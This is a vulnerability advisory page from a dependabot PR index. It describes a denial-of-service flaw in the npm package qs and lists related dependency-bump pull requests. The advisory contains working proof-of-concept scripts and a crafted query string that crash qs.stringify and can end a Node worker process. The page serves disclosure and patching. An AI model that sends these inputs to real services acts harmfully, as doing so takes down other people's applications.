An open index of dependabot pull requests across open source projects.

qs: Denial of Service via Attacker Controlled isBuffer

RSS Feed MODERATE
GHSA-4mjr-xmp4-gh2g CVE-2026-82417
Description:

Summary

qs.stringify() calls utils.isBuffer() on every value it serializes, and utils.isBuffer() invokes obj.constructor.isBuffer(obj) without checking that it is callable. A value whose own constructor.isBuffer is a non-function makes qs call a non-callable and throw TypeError. Such a value is produced by qs.parse itself from an untrusted query string when plainObjects: true or allowPrototypes: true is set, so a pure-qs parse → stringify round-trip — no JSON.parse — turns an unauthenticated query string into an uncaught throw.

An attacker-controlled parse input reaches the host application's availability asset — via qs's own recommended plainObjects mitigation — and triggers an uncaught exception during a parse → stringify round-trip.

Details

utils.isBuffer runs at lib/stringify.js:127 for every serialized value:

if (isNonNullishPrimitive(obj) || utils.isBuffer(obj)) { ... }

utils.isBuffer (lib/utils.js:327-333) invokes obj.constructor.isBuffer without verifying it is callable:

var isBuffer = function isBuffer(obj) {
    if (!obj || typeof obj !== 'object') { return false; }
    return !!(obj.constructor && obj.constructor.isBuffer && obj.constructor.isBuffer(obj));
};

constructor and isBuffer are ordinary keys. qs.parse with plainObjects: true or allowPrototypes: true keeps them as own properties, so the parsed value carries a non-function constructor.isBuffer; stringify then calls a non-callable and throws TypeError. By contrast utils.isRegExp uses a brand check (Object.prototype.toString); the missing guard here is an internal inconsistency, not a platform limitation.

Trust Boundary Note

qs.stringify alone treats its input as caller-constructed, so serializing a hostile object could be argued outside its contract. This report does not depend on that framing: the malicious shape is produced by qs.parse, whose input is untrusted by design. qs.parse normally strips a constructor key via its prototype guard, but with the documented options plainObjects: true or allowPrototypes: true the key survives and lands as an own property. Feeding the parsed object back into qs.stringify — the standard round-trip in gateways and request-forwarders — then hits the unchecked call.

PoC

poc02c_isBuffer_qs_only_roundtrip.js — pure-qs chain, no JSON.parse; an untrusted query string alone reaches the throw:

'use strict';
var qs = require('qs');

var untrustedQueryString = 'x%5Bconstructor%5D%5BisBuffer%5D=y'; // x[constructor][isBuffer]=y

var parsed = qs.parse(untrustedQueryString, { plainObjects: true });
console.log('[parse] kept constructor key:', JSON.stringify(parsed));

try {
    qs.stringify(parsed);
    console.log('[stringify] no throw (unexpected)');
} catch (e) {
    console.log('[stringify] DoS reproduced ->', e.constructor.name + ':', e.message);
}

poc02_isBuffer.js — the minimal defect:

'use strict';
var qs = require('qs');
try {
    qs.stringify(JSON.parse('{"a":{"constructor":{"isBuffer":"x"}}}'));
} catch (e) {
    console.log('[A] DoS reproduced ->', e.constructor.name + ':', e.message);
}

poc02b_isBuffer_async_crash.js — worker death in an async sink:

'use strict';
var qs = require('qs');

function handleRequestAsync(clientJsonBody) {
    try {
        setImmediate(function () {                 // async continuation, outside the try
            qs.stringify(JSON.parse(clientJsonBody)); // throws here, uncaught
        });
        console.log('[handler] returned 200 synchronously; async work scheduled');
    } catch (e) {
        console.log('[handler] caught synchronously (will NOT happen):', e.message);
    }
}
process.on('exit', function (code) {
    console.log('[proc] process exiting with code:', code);
});
handleRequestAsync('{"filters":{"constructor":{"isBuffer":"x"}}}');

Execution Steps

cd poc
npm install qs@6.15.3
node poc02c_isBuffer_qs_only_roundtrip.js  # pure qs parse->stringify -> TypeError
node poc02_isBuffer.js                      # minimal defect -> TypeError inside stringify
node poc02b_isBuffer_async_crash.js         # async sink -> uncaught throw -> exit code 1

Reproduction Evidence

poc02c_isBuffer_qs_only_roundtrip.js :

[parse] kept constructor key: {"x":{"constructor":{"isBuffer":"y"}}}
[stringify] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function

poc02_isBuffer.js:

[A] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function

poc02b_isBuffer_async_crash.js :

[handler] returned 200 synchronously; async work scheduled
[proc] process exiting with code: 1
TypeError: obj.constructor.isBuffer is not a function
    at Object.isBuffer (.../qs/lib/utils.js:332:78)
    at stringify (.../qs/lib/stringify.js:127:45)
=== EXIT CODE: 1 ===

The pure-qs round-trip shows the malicious shape originates from qs.parse of an untrusted query string, with no JSON.parse. The synchronous try/catch in the async case does not catch the throw; the process exits with code 1, denying service to all requests on that worker.

Impact

An unauthenticated request degrades any endpoint that re-serializes deserialized client data with qs.stringify. The primary impact is a per-request failure: the handler throws and the framework returns HTTP 500. Where the call sits in an unguarded async continuation, the throw escapes and the worker process exits, denying service to all requests it was handling, which means a higher impact that depends on the application's error handling, not on qs.

Replace the duck-type with a brand check mirroring utils.isRegExp:

var isBuffer = function isBuffer(obj) {
    if (!obj || typeof obj !== 'object') { return false; }
    if (typeof Buffer !== 'undefined' && typeof Buffer.isBuffer === 'function') {
        return Buffer.isBuffer(obj);
    }
    return Object.prototype.toString.call(obj) === '[object Uint8Array]';
};

If duck-typing must remain, require typeof obj.constructor.isBuffer === 'function' before invoking and wrap the call in try/catch.

Affected Packages
Ecosystem Package Vulnerable Versions Patched Version
npm qs >= 2.2.5, < 6.16.0
6.16.0
Related Dependabot Pull Requests
Bump vulnerable dependencies
Open about 5 hours ago
ImagineLearning/learnosity-sdk-nodejs #8
ImagineLearning
Bump express from 5.2.1 to 5.3.0 in /prisma-ui/deployment
Closed 1 day ago
equinor/prisma-decision #3
npm:express
equinor
chore(deps): bump the minor-and-patch group across 1 directory with 18 updates
Open 1 day ago
HadiShaheed21/us-navy-pos #19
npm:eslint npm:@types/node +16 more
HadiShaheed21
chore(deps): bump the production-dependencies group with 6 updates
Closed 4 days ago
zeeza10/MultiAcc-Ecommerce-Dashboard #75
npm:lucide-react npm:@supabase/supabase-js +4 more
zeeza10
Bump the minor-patch group across 1 directory with 3 updates
Open 4 days ago
nonagenticai/csharp-test-executor #3
npm:supertest npm:express +1 more
nonagenticai
Bump the npm_and_yarn group across 1 directory with 16 updates
Open 6 days ago
aravindvnair99/Phishing #359
npm:express npm:serve-static +14 more
aravindvnair99
chore(deps-backend): bump express from 4.22.3 to 5.3.0 in /backend
Open 6 days ago
hindustan-groups/Hipro-Web #27
npm:express
hindustan-groups
build(deps): bump the server-minor-and-patch group across 1 directory with 15 updates
Open 9 days ago
kenny1203520/EduLog #69
npm:ws npm:@supabase/supabase-js +13 more
kenny1203520
Bump the server-routine group across 1 directory with 15 updates
Open 9 days ago
ShagiAli/BioGuard #26
npm:vitest npm:zod +13 more
ShagiAli
chore(deps): bump the minor-and-patch group across 1 directory with 29 updates
Open 10 days ago
pythonh06719/- #14
npm:@babel/runtime npm:@tanstack/react-query +27 more
pythonh06719
chore(deps): bump express from 4.22.3 to 5.3.0 in /integrations/github-app
Closed 11 days ago
anchor-tools/stellar-toml-lint #467
npm:express
anchor-tools
chore(deps): bump the backend-minor-patch group across 1 directory with 6 updates
Closed 12 days ago
ArthurLins00/Projetos-V #148
npm:@types/node npm:axios +4 more
ArthurLins00
chore(deps): bump express from 4.22.3 to 5.3.0 in /desktop
Closed 12 days ago
rafaelmingroni/mingrx-app #40
npm:express
rafaelmingroni
build(deps): bump the dependencies group across 1 directory with 25 updates
Closed 13 days ago
Afzal14786/writespace #61
npm:globals npm:@types/node +23 more
Afzal14786
build(deps): bump the production group with 9 updates
Closed 13 days ago
pealz1/BotCord #7
npm:undici npm:express +7 more
pealz1
build(deps): bump express from 4.22.2 to 5.3.0 in /server
Open 14 days ago
mkgugan22/Ledger #33
npm:express
mkgugan22
build(deps): bump the npm_backends_today_zoto_io group across 1 directory with 3 updates
Closed 14 days ago
zotoio/zoto-sites #69
npm:express npm:dotenv +1 more
zotoio
chore(deps): bump the major group across 1 directory with 21 updates
Open 15 days ago
OxyHQ/Homiio #791
npm:zod npm:eslint +19 more
OxyHQ
chore(deps): bump express from 4.22.3 to 5.3.0 in /auth
Open 15 days ago
CTO-DRS/DRS-AI #145
npm:express
CTO-DRS
Bump express from 4.22.3 to 5.3.0 in /gateway
Closed 15 days ago
Ccasabianca/examen-ecommerce #12
npm:express
Ccasabianca
deps: bump the all-other-deps group across 1 directory with 7 updates
Closed 15 days ago
ItsJT5216/Zenith-MCP #153
npm:express npm:minimatch +5 more
ItsJT5216
chore(deps): bump express from 4.22.3 to 5.3.0 in /backend
Open 16 days ago
Fernandonina241018/proyecto_sigmaProXVL #35
npm:express
Fernandonina241018
chore(deps): bump express from 5.2.1 to 5.3.0 in /backend
Open 16 days ago
robledocordoba123-cmyk/RitmoApp #63
npm:express
robledocordoba123-cmyk
chore(deps): bump the prod-minor-updates group across 1 directory with 8 updates
Open 16 days ago
luoquan0/Cat-Termix #17
npm:lucide-react npm:multer +6 more
luoquan0
chore(deps)(deps): bump the production group across 1 directory with 50 updates
Closed 16 days ago
imogenlabs/homelabarr-ce #615
npm:lucide-react npm:react-dom +48 more
imogenlabs
build(deps): bump the production-dependencies group across 1 directory with 10 updates
Open 16 days ago
triloksh07/asr-huddle #51
npm:zod npm:ws +8 more
triloksh07
chore(deps): bump the minor-patch group across 1 directory with 33 updates
Open 16 days ago
ng-forge/ng-forge #650
npm:zod npm:sass +31 more
ng-forge
build(deps): bump the root-production group across 1 directory with 8 updates
Open 16 days ago
vitorcsbrito/aurral #49
npm:react-router-dom npm:lucide-react +6 more
vitorcsbrito
deps: bump the minor-and-patch group across 1 directory with 20 updates
Closed 16 days ago
zemmike/OmniTerm #28
npm:vitest npm:@vitejs/plugin-react +18 more
zemmike
chore(deps): bump express from 4.22.3 to 5.3.0
Closed 17 days ago
DingJun1028/Omniesggo #148
npm:express
DingJun1028
Bump the npm-dependencies group with 12 updates
Open 17 days ago
open-climate-tech/checkfire #145
npm:mocha npm:react-dom +10 more
open-climate-tech
Bump the minor-and-patch group across 1 directory with 21 updates
Open 17 days ago
yanou1976/web-check-fork #3
npm:astro npm:eslint +19 more
yanou1976
chore(deps): bump the all-minor-patch group across 1 directory with 10 updates
Open 17 days ago
ummeco/praycalc #119
npm:eslint npm:@types/node +8 more
ummeco
build(deps): bump express from 4.22.3 to 5.3.0
Open 17 days ago
Akhil-Akki0/cfd-website-1-11-afternoon- #10
npm:express
Akhil-Akki0
Bump the npm group with 7 updates
Closed 17 days ago
rhizomatics/signalk-datalab-plugin #25
npm:@types/node npm:express +5 more
rhizomatics
Bump express from 4.22.1 to 5.3.0
Open 17 days ago
thatsarpit/outbound-os #83
npm:express
thatsarpit
chore(deps): bump express and @types/express
Open 18 days ago
redtidev1918/PixivFlow #243
npm:express npm:@types/express
redtidev1918
chore(deps): bump the server-npm-version group across 1 directory with 5 updates
Open 18 days ago
udbhav968-creator/UDBHAV_PR #29
npm:@babel/runtime npm:pm2 +3 more
udbhav968-creator
build(deps): bump the backend-minor-patch group across 1 directory with 12 updates
Closed 19 days ago
JohnFilhmar/talyer-e-inventory #91
npm:multer npm:@babel/preset-env +10 more
JohnFilhmar
chore(deps): bump the minor-and-patch group across 1 directory with 18 updates
Open 19 days ago
nikollllllas/rfinance-api #25
npm:globals npm:zod +16 more
nikollllllas
Bump express from 4.22.1 to 5.3.0 in /api
Closed 19 days ago
JamesAC42/nasfaqv2 #75
npm:express
JamesAC42
Bump the minor-and-patch group across 1 directory with 18 updates
Closed 19 days ago
leynos/simulacat-core #128
npm:@types/node npm:@graphql-codegen/cli +16 more
leynos
Bump express and @types/express
Open 20 days ago
derisix9/BANDGESTAO_ESCOLAR #5
npm:express npm:@types/express
derisix9
build(deps): bump the npm-minor group across 1 directory with 7 updates
Closed 20 days ago
Nonarkara/SLIC-Index #18
npm:@types/react npm:react-dom +5 more
Nonarkara
build(deps): bump the production-deps group across 1 directory with 8 updates
Closed 21 days ago
geosan11/GEOSAN-WORKSHOP #16
npm:lucide-react npm:react-dom +6 more
geosan11
chore(deps): bump the backend-production group across 1 directory with 8 updates
Open 21 days ago
loopc-business-strategies/ops-dashboard #141
npm:multer npm:express +6 more
loopc-business-strategies
chore(deps): bump express from 5.1.0 to 5.3.0
Closed 22 days ago
Chia-Network/cadt-ui #1628
npm:express
Chia-Network
Bump express from 4.22.3 to 5.3.0
Open 22 days ago
juninmd/lost-fatec-api #25
npm:express
juninmd
Bump the all-dependencies group across 1 directory with 11 updates
Closed 22 days ago
prismatic-io/embedded #286
npm:vitest npm:zod +9 more
prismatic-io
Bump the production-dependencies group across 1 directory with 16 updates
Open 23 days ago
Gautam5514/Split-Expense #54
npm:zod npm:express +14 more
Gautam5514
Advisory Details
Published: September 02, 2026 3 months ago
Updated: November 03, 2026 15 days ago
CVSS Score: 6.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS: 0.40% 34th percentile
Source: Github
Classification: GENERAL
UUID: GSA_kwCzR0hTQS00bWpyLXhtcDQtZ2gyZ84ABodM
PR Statistics
PR Status
Open 74 (52.9%)
Merged 0 (0.0%)
Closed 66 (47.1%)
Update Types
Major 186 (14.3%)
Minor 684 (52.7%)
Patch 427 (32.9%)